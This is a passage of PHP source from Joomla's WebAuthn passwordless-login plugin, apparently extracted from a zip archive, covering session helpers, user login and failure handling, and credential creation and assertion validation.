	}

	/**
	 * Get a variable from the user session
	 *
	 * This method cannot be replaced with a call to Factory::getSession->get(). This method takes
	 * into account running under CLI, using a fake session storage. In the end of the day this
	 * plugin doesn't work under CLI but being able to fake session storage under CLI means that we
	 * don't have to add gnarly if-blocks everywhere in the code to make sure it doesn't break CLI
	 * either!
	 *
	 * @param   string  $name       The name of the variable to set
	 * @param   string  $default    (optional) The default value to return if the variable does not
	 *                              exit, default: null
	 * @param   string  $namespace  (optional) The variable's namespace e.g. the component name.
	 *                              Default: 'default'
	 *
	 * @return  mixed
	 *
	 * @since   4.0.0
	 */
	public static function getSessionVar(string $name, ?string $default = null,
		string $namespace = 'default'
	)
	{
		$qualifiedKey = "$namespace.$name";

		if (self::isCli())
		{
			return self::getFakeSession()->get("$namespace.$name", $default);
		}

		try
		{
			return Factory::getApplication()->getSession()->get($qualifiedKey, $default);
		}
		catch (Exception $e)
		{
			return $default;
		}
	}

	/**
	 * Register a debug log file writer for a Social Login plugin.
	 *
	 * @param   string  $plugin  The Social Login plugin for which to register a debug log file
	 *                           writer
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public static function addLogger(string $plugin): void
	{
		// Make sure this logger is not already registered
		if (\in_array($plugin, self::$registeredLoggers))
		{
			return;
		}

		self::$registeredLoggers[] = $plugin;

		// We only log errors unless Site Debug is enabled
		$logLevels = Log::ERROR | Log::CRITICAL | Log::ALERT | Log::EMERGENCY;

		if (\defined('JDEBUG') && JDEBUG)
		{
			$logLevels = Log::ALL;
		}

		// Add a formatted text logger
		Log::addLogger([
			'text_file'         => "webauthn_{$plugin}.php",
			'text_entry_format' => '{DATETIME}	{PRIORITY} {CLIENTIP}	{MESSAGE}',
			], $logLevels, [
				"webauthn.{$plugin}",
			]
		);
	}

	/**
	 * Logs in a user to the site, bypassing the authentication plugins.
	 *
	 * @param   int                  $userId  The user ID to log in
	 * @param   AbstractApplication  $app     The application we are running in. Skip to
	 *                                        auto-detect (recommended).
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public static function loginUser(int $userId, AbstractApplication $app = null): void
	{
		// Trick the class auto-loader into loading the necessary classes
		class_exists('Joomla\\CMS\\Authentication\\Authentication', true);

		// Fake a successful login message
		if (!\is_object($app))
		{
			$app = Factory::getApplication();
		}

		$isAdmin = $app->isClient('administrator');
		/** @var User $user */
		$user    = Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($userId);

		// Does the user account have a pending activation?
		if (!empty($user->activation))
		{
			throw new RuntimeException(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'));
		}

		// Is the user account blocked?
		if ($user->block)
		{
			throw new RuntimeException(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'));
		}

		$statusSuccess = Authentication::STATUS_SUCCESS;

		$response           = self::getAuthenticationResponseObject();
		$response->status   = $statusSuccess;
		$response->username = $user->username;
		$response->fullname = $user->name;
		// phpcs:ignore
		$response->error_message = '';
		$response->language      = $user->getParam('language');
		$response->type          = 'Passwordless';

		if ($isAdmin)
		{
			$response->language = $user->getParam('admin_language');
		}

		/**
		 * Set up the login options.
		 *
		 * The 'remember' element forces the use of the Remember Me feature when logging in with Webauthn, as the
		 * users would expect.
		 *
		 * The 'action' element is actually required by plg_user_joomla. It is the core ACL action the logged in user
		 * must be allowed for the login to succeed. Please note that front-end and back-end logins use a different
		 * action. This allows us to provide the social login button on both front- and back-end and be sure that if a
		 * used with no backend access tries to use it to log in Joomla! will just slap him with an error message about
		 * insufficient privileges - the same thing that'd happen if you tried to use your front-end only username and
		 * password in a back-end login form.
		 */
		$options = [
			'remember' => true,
			'action'   => 'core.login.site',
		];

		if (self::isAdminPage())
		{
			$options['action'] = 'core.login.admin';
		}

		// Run the user plugins. They CAN block login by returning boolean false and setting $response->error_message.
		PluginHelper::importPlugin('user');

		/** @var CMSApplication $app */
		$results = $app->triggerEvent('onUserLogin', [(array) $response, $options]);

		// If there is no boolean FALSE result from any plugin the login is successful.
		if (\in_array(false, $results, true) == false)
		{
			// Set the user in the session, letting Joomla! know that we are logged in.
			$app->getSession()->set('user', $user);

			// Trigger the onUserAfterLogin event
			$options['user']         = $user;
			$options['responseType'] = $response->type;

			// The user is successfully logged in. Run the after login events
			$app->triggerEvent('onUserAfterLogin', [$options]);

			return;
		}

		// If we are here the plugins marked a login failure. Trigger the onUserLoginFailure Event.
		$app->triggerEvent('onUserLoginFailure', [(array) $response]);

		// Log the failure
		// phpcs:ignore
		Log::add($response->error_message, Log::WARNING, 'jerror');

		// Throw an exception to let the caller know that the login failed
		// phpcs:ignore
		throw new RuntimeException($response->error_message);
	}

	/**
	 * Returns a (blank) Joomla! authentication response
	 *
	 * @return  AuthenticationResponse
	 *
	 * @since   4.0.0
	 */
	public static function getAuthenticationResponseObject(): AuthenticationResponse
	{
		// Force the class auto-loader to load the JAuthentication class
		JLoader::import('joomla.user.authentication');
		class_exists('Joomla\\CMS\\Authentication\\Authentication', true);

		return new AuthenticationResponse;
	}

	/**
	 * Are we inside an administrator page?
	 *
	 * @param   CMSApplication  $app  The current CMS application which tells us if we are inside
	 *                                an admin page
	 *
	 * @return  boolean
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public static function isAdminPage(CMSApplication $app = null): bool
	{
		if (\is_null(self::$isAdmin))
		{
			if (\is_null($app))
			{
				$app = Factory::getApplication();
			}

			self::$isAdmin = $app->isClient('administrator');
		}

		return self::$isAdmin;
	}

	/**
	 * Have Joomla! process a login failure
	 *
	 * @param   AuthenticationResponse  $response    The Joomla! auth response object
	 * @param   AbstractApplication     $app         The application we are running in. Skip to
	 *                                               auto-detect (recommended).
	 * @param   string                  $logContext  Logging context (plugin name). Default:
	 *                                               system.
	 *
	 * @return  boolean
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public static function processLoginFailure(AuthenticationResponse $response,
		AbstractApplication $app = null,
		string $logContext = 'system'
	)
	{
		// Import the user plugin group.
		PluginHelper::importPlugin('user');

		if (!\is_object($app))
		{
			$app = Factory::getApplication();
		}

		// Trigger onUserLoginFailure Event.
		self::log($logContext, "Calling onUserLoginFailure plugin event");
		/** @var CMSApplication $app */
		$app->triggerEvent('onUserLoginFailure', [(array) $response]);

		// If status is success, any error will have been raised by the user plugin
		$expectedStatus = Authentication::STATUS_SUCCESS;

		if ($response->status !== $expectedStatus)
		{
			self::log($logContext, "The login failure has been logged in Joomla's error log");

			// Everything logged in the 'jerror' category ends up being enqueued in the application message queue.
			// phpcs:ignore
			Log::add($response->error_message, Log::WARNING, 'jerror');
		}
		else
		{
			$message = "The login failure was caused by a third party user plugin but it did not " .
				"return any further information. Good luck figuring this one out...";
			self::log($logContext, $message, Log::WARNING);
		}

		return false;
	}

	/**
	 * Writes a log message to the debug log
	 *
	 * @param   string  $plugin    The Social Login plugin which generated this log message
	 * @param   string  $message   The message to write to the log
	 * @param   int     $priority  Log message priority, default is Log::DEBUG
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public static function log(string $plugin, string $message, $priority = Log::DEBUG): void
	{
		Log::add($message, $priority, 'webauthn.' . $plugin);
	}

	/**
	 * Format a date for display.
	 *
	 * The $tzAware parameter defines whether the formatted date will be timezone-aware. If set to
	 * false the formatted date will be rendered in the UTC timezone. If set to true the code will
	 * automatically try to use the logged in user's timezone or, if none is set, the site's
	 * default timezone (Server Timezone). If set to a positive integer the same thing will happen
	 * but for the specified user ID instead of the currently logged in user.
	 *
	 * @param   string|DateTime  $date      The date to format
	 * @param   string           $format    The format string, default is Joomla's DATE_FORMAT_LC6
	 *                                      (usually "Y-m-d H:i:s")
	 * @param   bool|int         $tzAware   Should the format be timezone aware? See notes above.
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	public static function formatDate($date, ?string $format = null, bool $tzAware = true): string
	{
		$utcTimeZone = new DateTimeZone('UTC');
		$jDate       = new Date($date, $utcTimeZone);

		// Which timezone should I use?
		$tz = null;

		if ($tzAware !== false)
		{
			$userId = \is_bool($tzAware) ? null : (int) $tzAware;

			try
			{
				/** @var CMSApplication $app */
				$app       = Factory::getApplication();
				$tzDefault = $app->get('offset');
			}
			catch (Exception $e)
			{
				$tzDefault = 'GMT';
			}

			/** @var User $user */
			if (empty($userId))
			{
				$user = $app->getIdentity();
			}
			else
			{
				$user = Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($userId);
			}

			$tz   = $user->getParam('timezone', $tzDefault);
		}

		if (!empty($tz))
		{
			try
			{
				$userTimeZone = new DateTimeZone($tz);

				$jDate->setTimezone($userTimeZone);
			}
			catch (Exception $e)
			{
				// Nothing. Fall back to UTC.
			}
		}

		if (empty($format))
		{
			$format = Text::_('DATE_FORMAT_LC6');
		}

		return $jDate->format($format, true);
	}

	/**
	 * Returns the current Joomla document type.
	 *
	 * The error catching is necessary because the application document object or even the
	 * application object itself may have not yet been initialized. For example, a system plugin
	 * running inside a custom application object which does not create a document object or which
	 * does not go through Joomla's Factory to create the application object. In practice these are
	 * CLI and custom web applications used for maintenance and third party service callbacks. They
	 * end up loading the system plugins but either don't go through Factory or at least don't
	 * create a document object.
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	public static function getDocumentType(): string
	{
		if (\is_null(self::$joomlaDocumentType))
		{
			try
			{
				/** @var CMSApplication $app */
				$app      = Factory::getApplication();
				$document = $app->getDocument();
			}
			catch (Exception $e)
			{
				$document = null;
			}

			self::$joomlaDocumentType = (\is_null($document)) ? 'error' : $document->getType();
		}

		return self::$joomlaDocumentType;
	}
}
PK!2�d
�+�++webauthn/src/Helper/CredentialsCreation.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\Helper;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use CBOR\Decoder;
use CBOR\OtherObject\OtherObjectManager;
use CBOR\Tag\TagObjectManager;
use Cose\Algorithm\Manager;
use Cose\Algorithm\Signature\ECDSA;
use Cose\Algorithm\Signature\EdDSA;
use Cose\Algorithm\Signature\RSA;
use Cose\Algorithms;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Crypt\Crypt;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Laminas\Diactoros\ServerRequestFactory;
use RuntimeException;
use Webauthn\AttestationStatement\AndroidKeyAttestationStatementSupport;
use Webauthn\AttestationStatement\AttestationObjectLoader;
use Webauthn\AttestationStatement\AttestationStatementSupportManager;
use Webauthn\AttestationStatement\FidoU2FAttestationStatementSupport;
use Webauthn\AttestationStatement\NoneAttestationStatementSupport;
use Webauthn\AttestationStatement\PackedAttestationStatementSupport;
use Webauthn\AttestationStatement\TPMAttestationStatementSupport;
use Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientInputs;
use Webauthn\AuthenticationExtensions\ExtensionOutputCheckerHandler;
use Webauthn\AuthenticatorAttestationResponse;
use Webauthn\AuthenticatorAttestationResponseValidator;
use Webauthn\AuthenticatorSelectionCriteria;
use Webauthn\PublicKeyCredentialCreationOptions;
use Webauthn\PublicKeyCredentialDescriptor;
use Webauthn\PublicKeyCredentialLoader;
use Webauthn\PublicKeyCredentialParameters;
use Webauthn\PublicKeyCredentialRpEntity;
use Webauthn\PublicKeyCredentialSource;
use Webauthn\PublicKeyCredentialUserEntity;
use Webauthn\TokenBinding\TokenBindingNotSupportedHandler;

/**
 * Helper class to aid in credentials creation (link an authenticator to a user account)
 *
 * @since   4.0.0
 */
abstract class CredentialsCreation
{
	/**
	 * Create a public key for credentials creation. The result is a JSON string which can be used in Javascript code
	 * with navigator.credentials.create().
	 *
	 * @param   User  $user The Joomla user to create the public key for
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	public static function createPublicKey(User $user): string
	{
		/** @var CMSApplication $app */
		try
		{
			$app      = Factory::getApplication();
			$siteName = $app->getConfig()->get('sitename', 'Joomla! Site');
		}
		catch (Exception $e)
		{
			$siteName = 'Joomla! Site';
		}

		// Credentials repository
		$repository = new CredentialRepository;

		// Relaying Party -- Our site
		$rpEntity = new PublicKeyCredentialRpEntity(
			$siteName,
			Uri::getInstance()->toString(['host']),
			self::getSiteIcon()
		);

		// User Entity
		$userEntity = new PublicKeyCredentialUserEntity(
			$user->username,
			$repository->getHandleFromUserId($user->id),
			$user->name
		);

		// Challenge
		try
		{
			$challenge = random_bytes(32);
		}
		catch (Exception $e)
		{
			$challenge = Crypt::genRandomBytes(32);
		}

		// Public Key Credential Parameters
		$publicKeyCredentialParametersList = [
			new PublicKeyCredentialParameters('public-key', Algorithms::COSE_ALGORITHM_ES256),
		];

		// Timeout: 60 seconds (given in milliseconds)
		$timeout = 60000;

		// Devices to exclude (already set up authenticators)
		$excludedPublicKeyDescriptors = [];
		$records                      = $repository->findAllForUserEntity($userEntity);

		/** @var PublicKeyCredentialSource $record */
		foreach ($records as $record)
		{
			$excludedPublicKeyDescriptors[] = new PublicKeyCredentialDescriptor($record->getType(), $record->getCredentialPublicKey());
		}

		// Authenticator Selection Criteria (we used default values)
		$authenticatorSelectionCriteria = new AuthenticatorSelectionCriteria;

		// Extensions (not yet supported by the library)
		$extensions = new AuthenticationExtensionsClientInputs;

		// Attestation preference
		$attestationPreference = PublicKeyCredentialCreationOptions::ATTESTATION_CONVEYANCE_PREFERENCE_NONE;

		// Public key credential creation options
		$publicKeyCredentialCreationOptions = new PublicKeyCredentialCreationOptions(
			$rpEntity,
			$userEntity,
			$challenge,
			$publicKeyCredentialParametersList,
			$timeout,
			$excludedPublicKeyDescriptors,
			$authenticatorSelectionCriteria,
			$attestationPreference,
			$extensions
		);

		// Save data in the session
		Joomla::setSessionVar('publicKeyCredentialCreationOptions',
			base64_encode(serialize($publicKeyCredentialCreationOptions)),
			'plg_system_webauthn'
		);
		Joomla::setSessionVar('registration_user_id', $user->id, 'plg_system_webauthn');

		return json_encode($publicKeyCredentialCreationOptions, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
	}

	/**
	 * Validate the authentication data returned by the device and return the public key credential source on success.
	 *
	 * An exception will be returned on error. Also, under very rare conditions, you may receive NULL instead of
	 * a PublicKeyCredentialSource object which means that something was off in the returned data from the browser.
	 *
	 * @param   string  $data  The JSON-encoded data returned by the browser during the authentication flow
	 *
	 * @return  PublicKeyCredentialSource|null
	 *
	 * @since   4.0.0
	 */
	public static function validateAuthenticationData(string $data): ?PublicKeyCredentialSource
	{
		// Retrieve the PublicKeyCredentialCreationOptions object created earlier and perform sanity checks
		$encodedOptions = Joomla::getSessionVar('publicKeyCredentialCreationOptions', null, 'plg_system_webauthn');

		if (empty($encodedOptions))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_NO_PK'));
		}

		try
		{
			$publicKeyCredentialCreationOptions = unserialize(base64_decode($encodedOptions));
		}
		catch (Exception $e)
		{
			$publicKeyCredentialCreationOptions = null;
		}

		if (!\is_object($publicKeyCredentialCreationOptions) || !($publicKeyCredentialCreationOptions instanceof PublicKeyCredentialCreationOptions))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_NO_PK'));
		}

		// Retrieve the stored user ID and make sure it's the same one in the request.
		$storedUserId = Joomla::getSessionVar('registration_user_id', 0, 'plg_system_webauthn');

		try
		{
			$myUser = Factory::getApplication()->getIdentity();
		}
		catch (Exception $e)
		{
			$dummyUserId = 0;
			$myUser      = Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($dummyUserId);
		}

		$myUserId = $myUser->id;

		if (($myUser->guest) || ($myUserId != $storedUserId))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_USER'));
		}

		// Cose Algorithm Manager
		$coseAlgorithmManager               = new Manager;
		$coseAlgorithmManager->add(new ECDSA\ES256);
		$coseAlgorithmManager->add(new ECDSA\ES512);
		$coseAlgorithmManager->add(new EdDSA\EdDSA);
		$coseAlgorithmManager->add(new RSA\RS1);
		$coseAlgorithmManager->add(new RSA\RS256);
		$coseAlgorithmManager->add(new RSA\RS512);

		// Create a CBOR Decoder object
		$otherObjectManager = new OtherObjectManager;
		$tagObjectManager   = new TagObjectManager;
		$decoder            = new Decoder($tagObjectManager, $otherObjectManager);

		// The token binding handler
		$tokenBindingHandler = new TokenBindingNotSupportedHandler;

		// Attestation Statement Support Manager
		$attestationStatementSupportManager = new AttestationStatementSupportManager;
		$attestationStatementSupportManager->add(new NoneAttestationStatementSupport);
		$attestationStatementSupportManager->add(new FidoU2FAttestationStatementSupport($decoder));

		/**
		$attestationStatementSupportManager->add(
			new AndroidSafetyNetAttestationStatementSupport(HttpFactory::getHttp(),
				'GOOGLE_SAFETYNET_API_KEY',
				new RequestFactory
			)
		);
		*/
		$attestationStatementSupportManager->add(new AndroidKeyAttestationStatementSupport($decoder));
		$attestationStatementSupportManager->add(new TPMAttestationStatementSupport);
		$attestationStatementSupportManager->add(new PackedAttestationStatementSupport($decoder, $coseAlgorithmManager));

		// Attestation Object Loader
		$attestationObjectLoader = new AttestationObjectLoader($attestationStatementSupportManager, $decoder);

		// Public Key Credential Loader
		$publicKeyCredentialLoader = new PublicKeyCredentialLoader($attestationObjectLoader, $decoder);

		// Credential Repository
		$credentialRepository = new CredentialRepository;

		// Extension output checker handler
		$extensionOutputCheckerHandler = new ExtensionOutputCheckerHandler;

		// Authenticator Attestation Response Validator
		$authenticatorAttestationResponseValidator = new AuthenticatorAttestationResponseValidator(
			$attestationStatementSupportManager,
			$credentialRepository,
			$tokenBindingHandler,
			$extensionOutputCheckerHandler
		);

		// Any Throwable from this point will bubble up to the GUI

		// We init the PSR-7 request object using Diactoros
		$request = ServerRequestFactory::fromGlobals();

		// Load the data
		$publicKeyCredential = $publicKeyCredentialLoader->load(base64_decode($data));
		$response            = $publicKeyCredential->getResponse();

		// Check if the response is an Authenticator Attestation Response
		if (!$response instanceof AuthenticatorAttestationResponse)
		{
			throw new RuntimeException('Not an authenticator attestation response');
		}

		// Check the response against the request
		$authenticatorAttestationResponseValidator->check($response, $publicKeyCredentialCreationOptions, $request);

		/**
		 * Everything is OK here. You can get the Public Key Credential Source. This object should be persisted using
		 * the Public Key Credential Source repository.
		 */
		return PublicKeyCredentialSource::createFromPublicKeyCredential(
			$publicKeyCredential,
			$publicKeyCredentialCreationOptions->getUser()->getId()
		);
	}

	/**
	 * Try to find the site's favicon in the site's root, images, media, templates or current template directory.
	 *
	 * @return  string|null
	 *
	 * @since   4.0.0
	 */
	protected static function getSiteIcon(): ?string
	{
		$filenames = [
			'apple-touch-icon.png',
			'apple_touch_icon.png',
			'favicon.ico',
			'favicon.png',
			'favicon.gif',
			'favicon.bmp',
			'favicon.jpg',
			'favicon.svg',
		];

		try
		{
			$paths = [
				'/',
				'/images/',
				'/media/',
				'/templates/',
				'/templates/' . Factory::getApplication()->getTemplate(),
			];
		}
		catch (Exception $e)
		{
			return null;
		}

		foreach ($paths as $path)
		{
			foreach ($filenames as $filename)
			{
				$relFile  = $path . $filename;
				$filePath = JPATH_BASE . $relFile;

				if (is_file($filePath))
				{
					break 2;
				}

				$relFile = null;
			}
		}

		if (!isset($relFile) || \is_null($relFile))
		{
			return null;
		}

		return rtrim(Uri::base(), '/') . '/' . ltrim($relFile, '/');
	}
}
PK!��u�$$.webauthn/src/PluginTraits/AjaxHandlerLogin.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use CBOR\Decoder;
use CBOR\OtherObject\OtherObjectManager;
use CBOR\Tag\TagObjectManager;
use Cose\Algorithm\Manager;
use Cose\Algorithm\Signature\ECDSA;
use Cose\Algorithm\Signature\EdDSA;
use Cose\Algorithm\Signature\RSA;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Authentication\Authentication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Laminas\Diactoros\ServerRequestFactory;
use RuntimeException;
use Throwable;
use Webauthn\AttestationStatement\AndroidKeyAttestationStatementSupport;
use Webauthn\AttestationStatement\AttestationObjectLoader;
use Webauthn\AttestationStatement\AttestationStatementSupportManager;
use Webauthn\AttestationStatement\FidoU2FAttestationStatementSupport;
use Webauthn\AttestationStatement\NoneAttestationStatementSupport;
use Webauthn\AttestationStatement\PackedAttestationStatementSupport;
use Webauthn\AttestationStatement\TPMAttestationStatementSupport;
use Webauthn\AuthenticationExtensions\ExtensionOutputCheckerHandler;
use Webauthn\AuthenticatorAssertionResponse;
use Webauthn\AuthenticatorAssertionResponseValidator;
use Webauthn\PublicKeyCredentialLoader;
use Webauthn\PublicKeyCredentialRequestOptions;
use Webauthn\TokenBinding\TokenBindingNotSupportedHandler;

/**
 * Ajax handler for akaction=login
 *
 * Verifies the response received from the browser and logs in the user
 *
 * @since  4.0.0
 */
trait AjaxHandlerLogin
{
	/**
	 * Returns the public key set for the user and a unique challenge in a Public Key Credential Request encoded as
	 * JSON.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   4.0.0
	 */
	public function onAjaxWebauthnLogin(): void
	{
		// Load the language files
		$this->loadLanguage();

		$returnUrl = Joomla::getSessionVar('returnUrl', Uri::base(), 'plg_system_webauthn');
		$userId    = Joomla::getSessionVar('userId', 0, 'plg_system_webauthn');

		try
		{
			// Sanity check
			if (empty($userId))
			{
				throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
			}

			// Make sure the user exists
			$user = Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($userId);

			if ($user->id != $userId)
			{
				throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
			}

			// Validate the authenticator response
			$this->validateResponse();

			// Login the user
			Joomla::log('system', "Logging in the user", Log::INFO);
			Joomla::loginUser((int) $userId);
		}
		catch (Throwable $e)
		{
			Joomla::setSessionVar('publicKeyCredentialRequestOptions', null, 'plg_system_webauthn');
			Joomla::setSessionVar('userHandle', null, 'plg_system_webauthn');

			$response                = Joomla::getAuthenticationResponseObject();
			$response->status        = Authentication::STATUS_UNKNOWN;
			// phpcs:ignore
			$response->error_message = $e->getMessage();

			Joomla::log('system', sprintf("Received login failure. Message: %s", $e->getMessage()), Log::ERROR);

			// This also enqueues the login failure message for display after redirection. Look for JLog in that method.
			Joomla::processLoginFailure($response, null, 'system');
		}
		finally
		{
			/**
			 * This code needs to run no matter if the login succeeded or failed. It prevents replay attacks and takes
			 * the user back to the page they started from.
			 */

			// Remove temporary information for security reasons
			Joomla::setSessionVar('publicKeyCredentialRequestOptions', null, 'plg_system_webauthn');
			Joomla::setSessionVar('userHandle', null, 'plg_system_webauthn');
			Joomla::setSessionVar('returnUrl', null, 'plg_system_webauthn');
			Joomla::setSessionVar('userId', null, 'plg_system_webauthn');

			// Redirect back to the page we were before.
			Factory::getApplication()->redirect($returnUrl);
		}
	}

	/**
	 * Validate the authenticator response sent to us by the browser.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	private function validateResponse(): void
	{
		// Initialize objects
		/** @var CMSApplication $app */
		$app                  = Factory::getApplication();
		$input                = $app->input;
		$credentialRepository = new CredentialRepository;

		// Retrieve data from the request and session
		$data = $input->getBase64('data', '');
		$data = base64_decode($data);

		if (empty($data))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
		}

		$publicKeyCredentialRequestOptions = $this->getPKCredentialRequestOptions();

		// Cose Algorithm Manager
		$coseAlgorithmManager = new Manager;
		$coseAlgorithmManager->add(new ECDSA\ES256);
		$coseAlgorithmManager->add(new ECDSA\ES512);
		$coseAlgorithmManager->add(new EdDSA\EdDSA);
		$coseAlgorithmManager->add(new RSA\RS1);
		$coseAlgorithmManager->add(new RSA\RS256);
		$coseAlgorithmManager->add(new RSA\RS512);

		// Create a CBOR Decoder object
		$otherObjectManager = new OtherObjectManager;
		$tagObjectManager   = new TagObjectManager;
		$decoder            = new Decoder($tagObjectManager, $otherObjectManager);

		// Attestation Statement Support Manager
		$attestationStatementSupportManager = new AttestationStatementSupportManager;
		$attestationStatementSupportManager->add(new NoneAttestationStatementSupport);
		$attestationStatementSupportManager->add(new FidoU2FAttestationStatementSupport($decoder));

		/*
		$attestationStatementSupportManager->add(
			new AndroidSafetyNetAttestationStatementSupport(
				HttpFactory::getHttp(), 'GOOGLE_SAFETYNET_API_KEY', new RequestFactory
			)
		);
		*/
		$attestationStatementSupportManager->add(new AndroidKeyAttestationStatementSupport($decoder));
		$attestationStatementSupportManager->add(new TPMAttestationStatementSupport);
		$attestationStatementSupportManager->add(new PackedAttestationStatementSupport($decoder, $coseAlgorithmManager));

		// Attestation Object Loader
		$attestationObjectLoader = new AttestationObjectLoader($attestationStatementSupportManager, $decoder);

		// Public Key Credential Loader
		$publicKeyCredentialLoader = new PublicKeyCredentialLoader($attestationObjectLoader, $decoder);

		// The token binding handler
		$tokenBindingHandler = new TokenBindingNotSupportedHandler;

		// Extension Output Checker Handler
		$extensionOutputCheckerHandler = new ExtensionOutputCheckerHandler;

		// Authenticator Assertion Response Validator
		$authenticatorAssertionResponseValidator = new AuthenticatorAssertionResponseValidator(
			$credentialRepository,
			$decoder,
			$tokenBindingHandler,
			$extensionOutputCheckerHandler,
			$coseAlgorithmManager
		);

		// We init the Symfony Request object
		$request = ServerRequestFactory::fromGlobals();

		// Load the data
		$publicKeyCredential = $publicKeyCredentialLoader->load($data);
		$response            = $publicKeyCredential->getResponse();

		// Check if the response is an Authenticator Assertion Response
		if (!$response instanceof AuthenticatorAssertionResponse)
		{
			throw new RuntimeException('Not an authenticator assertion response');
		}

		// Check the response against the attestation request
		$userHandle = Joomla::getSessionVar('userHandle', null, 'plg_system_webauthn');
		/** @var AuthenticatorAssertionResponse $authenticatorAssertionResponse */
		$authenticatorAssertionResponse = $publicKeyCredential->getResponse();
		$authenticatorAssertionResponseValidator->check(
			$publicKeyCredential->getRawId(),
			$authenticatorAssertionResponse,
			$publicKeyCredentialRequestOptions,
			$request,
			$userHandle
		);
	}

	/**
	 * Retrieve the public key credential request options saved in the session. If they do not exist or are corrupt it
	 * is a hacking attempt and we politely tell the hacker to go away.
	 *
	 * @return  PublicKeyCredentialRequestOptions
	 *
	 * @since   4.0.0
	 */
	private function getPKCredentialRequestOptions(): PublicKeyCredentialRequestOptions
	{
		$encodedOptions = Joomla::getSessionVar('publicKeyCredentialRequestOptions', null, 'plg_system_webauthn');

		if (empty($encodedOptions))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
		}

		try
		{
			$publicKeyCredentialCreationOptions = unserialize(base64_decode($encodedOptions));
		}
		catch (Exception $e)
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
		}

		if (!\is_object($publicKeyCredentialCreationOptions)
			|| !($publicKeyCredentialCreationOptions instanceof PublicKeyCredentialRequestOptions))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_LOGIN_REQUEST'));
		}

		return $publicKeyCredentialCreationOptions;
	}
}
PK!�u�.==)webauthn/src/PluginTraits/AjaxHandler.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Uri\Uri;
use Joomla\Plugin\System\Webauthn\Exception\AjaxNonCmsAppException;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use RuntimeException;

/**
 * Allows the plugin to handle AJAX requests in the backend of the site, where com_ajax is not available when we are not
 * logged in.
 *
 * @since   4.0.0
 */
trait AjaxHandler
{
	/**
	 * Processes the callbacks from the passwordless login views.
	 *
	 * Note: this method is called from Joomla's com_ajax or, in the case of backend logins, through the special
	 * onAfterInitialize handler we have created to work around com_ajax usage limitations in the backend.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onAjaxWebauthn(): void
	{
		// Load the language files
		$this->loadLanguage();

		/** @var CMSApplication $app */
		$app   = Factory::getApplication();
		$input = $app->input;

		// Get the return URL from the session
		$returnURL = Joomla::getSessionVar('returnUrl', Uri::base(), 'plg_system_webauthn');
		$result = null;

		try
		{
			Joomla::log('system', "Received AJAX callback.");

